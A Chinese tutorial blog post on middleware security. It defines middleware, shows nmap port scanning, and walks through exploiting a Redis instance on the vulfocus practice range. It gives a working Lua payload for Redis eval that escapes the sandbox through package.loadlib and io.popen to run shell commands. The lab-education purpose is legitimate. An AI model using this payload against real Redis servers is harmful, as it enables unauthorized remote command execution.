当前位置: 首页 > article >正文

中间件安全(一)

本文仅作为学习参考使用,本文作者对任何使用本文进行渗透攻击破坏不负任何责任。

一,中间件。

1,什么是中间件。

是一类能够为一种或多种应用程序合作互通、资源共享,同时还能够为该应用程序提供相关的服务的软件。中间件是一类软件统称,而非一种软件;中间件不仅仅实现互连,还要实现应用之间的互操作。

具体请参考:通俗易懂的讲讲什么是中间件?

2,中间件作用。

判断服务是否开放,一般各种服务都有其对应的端口,如果对应的端口不存在,则说明此服务没有开启,也就没有后续测试的必要了。

3,如何判断端口是否开放。

可以使用nmap等工具,通过探测开放的端口以判断服务是否开放。一般情况下都是开放默认端口,例如3306端口对应的就是mysql服务,但不排除开发者更改端口来进行防御。

nmap只能通过Ip进行扫描端口,首先要把网址所对应的ip查出来。

本机(物理机)上所开放的端口如上,ip为http://192.168.131.206/。

为了减少扫描时间,此处使用-p标签,指定扫描从8000到8100范围的端口。

可以看到,所开放的端口。

二,靶场。

靶场这里使用的是vulfocus,直接注册就可以使用。

本文主要讲解vulfocus靶场的redis漏洞。

redis数据库默认端口为:6379;redis简述。

工具链接,搭建教程

连接成功。

查看flag

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("ls /tmp", "r"); local res = f:read("*a"); f:close(); return res' 0


http://www.kler.cn/news/306609.html

相关文章:

  • 基于Selenium的新闻爬取技术实操
  • 【AIGC cosplay】让大模型扮演求职者,我当hr来面试
  • 语言哲学(Philosophy of Language)
  • PMP--一模--解题--81-90
  • Python 常用模块(二):json模块
  • 拒绝低效!开发者必备AI工具助你事半功倍!
  • WPF利用Path自定义画头部导航条(TOP)样式
  • C# 网口通信(通过Sockets类)
  • Vue 生命周期与 TypeScript:深入理解组件生命周期
  • 5-【JavaWeb】JUnit 单元测试及JUL 日志系统
  • uniapp使用高德地图设置marker标记点,后续根据接口数据改变某个marker标记点,动态更新
  • CentOS 7上安装Docker
  • 电商数据采集分析全流程分享||电商API数据接口
  • wsl2桥接网络 ubuntu到弃坑到又跳坑
  • Flutter Spacer引发的The ParentDataWidget Expanded(flex: 1) 惨案
  • Spring Boot 注解探秘:JSON 处理的魔法世界
  • JAVA基础:线程优先级和精灵线程
  • 股指期货的详细玩法功能与应用解析
  • 详解 Pandas 的累计统计函数
  • Java后端开发(十七)-- Java中对Object、Collection集合、Map集合、数组进行判空
  • 数据结构:时间复杂度与空间复杂度
  • 【代码随想录训练营第42期 Day57打卡 - 图论Part7 - Prim算法与Kruskal算法
  • 后端开发刷题 | 数字字符串转化成IP地址
  • 状态机按键消抖(学习笔记)
  • Flink有界流实现(1)
  • 【Python】谷歌浏览器总是自动更新,使用selenium跟chromedriver版本不匹配怎么办?
  • 01,大数据总结,zookeeper
  • 算法练习题27——疫情下的电影院(模拟)
  • AI辅助癌症诊断取得了进展
  • Angular面试题一